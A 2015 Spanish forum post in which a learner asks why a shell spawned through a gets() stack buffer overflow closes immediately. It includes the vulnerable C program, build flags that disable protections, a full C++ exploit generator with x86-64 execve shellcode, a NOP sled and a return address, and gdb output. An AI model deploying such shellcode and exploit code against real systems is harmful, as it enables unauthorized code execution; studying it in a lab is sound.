Inconveniente al explotar vulnereabilidades de funciones gets() y scanf()?

Iniciado por Ethicalsk, 24 Octubre 2015, 09:05 AM

0 Miembros y 1 Visitante están viendo este tema.

Ethicalsk

Hola señores!! En ésta oportunidad estuve leyendo éste thread:

https://foro.elhacker.net/programacion_general/programacion_segura_buffer_overflows_by_strcpy-t95901.0.html

Hasta hace unos días solo entendía como explotar vulnereabilidades de la funcion strcpy(), y ahora estaba aprendiendo a vulnerar otras funciones, otros casos. Es todo muy similar. Para vulnerar el strcat() por ejemplo hay que tener en cuenta la primera parte del string que se concatena con la segunda parte. Si sabemos la dirección de memoria donde se almacena el string, tenemos que sumar el desplazamiento de la primera parte de la cadena digamos, para usar como dirección de retorno.

Por ejemplo, si tenemos éste código:

char buffer[64]="AAAA";
strcat(buffer, argv[1]);


Supongamos hipotéticamente que la dirección de memoria en la que se almacena buffer es 0x00000000. Entonces la dirección de retorno no puede ser 0x00000000, debería ser 0x00000004, ya que sumamos los 4 bytes de desplazamiento de las "A", porque en el código despues de concatenar vamos a tener "AAAAshellcode", y la shellcode empieza recién en 0x00000004.

Bueno, hasta aca todo genial, mi problema es cuando intento vulnerar casos usando gets() o scanf().

En primer lugar, cabe aclarar que todos los ejemplos los uso con ASLR desactivado:
echo 0 > /proc/sys/kernel/randomize_va_space

Les dejo un ejemplo de programa vulnerable:


/* Ejemplo de bof */
/* gets() peligroso */

#include <stdio.h>
int main() {
   char buffer[64];
   printf("%p\n\n",buffer);
   gets(buffer); /* Otra ves una funcion peligros */
}


(era la que estaba en el link que mandé)

Compilado de la siguiente forma:

gcc -fno-stack-protector -z execstack -o gets gets.c


Bueno, para explotarla, hice éste exploit: (la shellcode es para ejecutar /bin/dash)

#include <iostream>
#include <fstream>
using namespace std;

int main() {

   char ret[] = "\x40\xe3\xff\xff\xff\x7f";

   //29 bytes shellcode
   char shellcode[] = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";

   //71 bytes nops - 29 shellcode = 43 nops
   char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                 "\x90\x90\x90";

   cout << "Creando exploit\n\n";
   ofstream fichero;
   fichero.open("archivo.txt");
   fichero << shellcode << nops << ret ;
   fichero.close();
   cout << "ya esta!!!\n\n";
   return 0;

}


Lo compilo:
g++ -o exploit exploit.cpp

Lo ejecuto:
./exploit

Abro el programa vulnerable con gdb:
gdb gets

Lo corro enviándole el archivo generado por el exploit:
run < archivo.txt

Y obtengo ésta salida:

process 6070 is executing new program: /bin/dash
[Inferior 1 (process 6070) exited normally]
(gdb)

Es decir, RIP se sobreescribió, la shellcode se ejecutó correctamente pero ni bien se ejecuta se cierra digamos, no puedo hacer nada, en ningun momento puedo usar la consola. Probando fuera de gdb, no me da ninguna salida, supongo que pasa lo mismo, se ejecuta y se cierra inmediatamente de forma que no puedo tomar provecho con ésta shellcode... Despues probé con una shellcode para hacer: cat /etc/passwd, y se ejecuta perfectamente tanto dentro como fuera de gdb, se muestra por consola dicho archivo.... Intentando explotar la función scanf() tuvé exactamente el mismo problema que con gets()...

Ahora la pregunta mia es, como puedo hacer para ejecutar y poder usar una terminal sin que se cierre? Tal como lo hice cuando exploté strcpy(), strcat(), etc...  Tal vez no haya que usar un archivo, sino mandar la shellcode cuando las funciones esperan que ingreses el string, pero como hago para meter una shellcode hexadecimal de esa forma?  

Desde ya muchas gracias por ayudar! Saludos.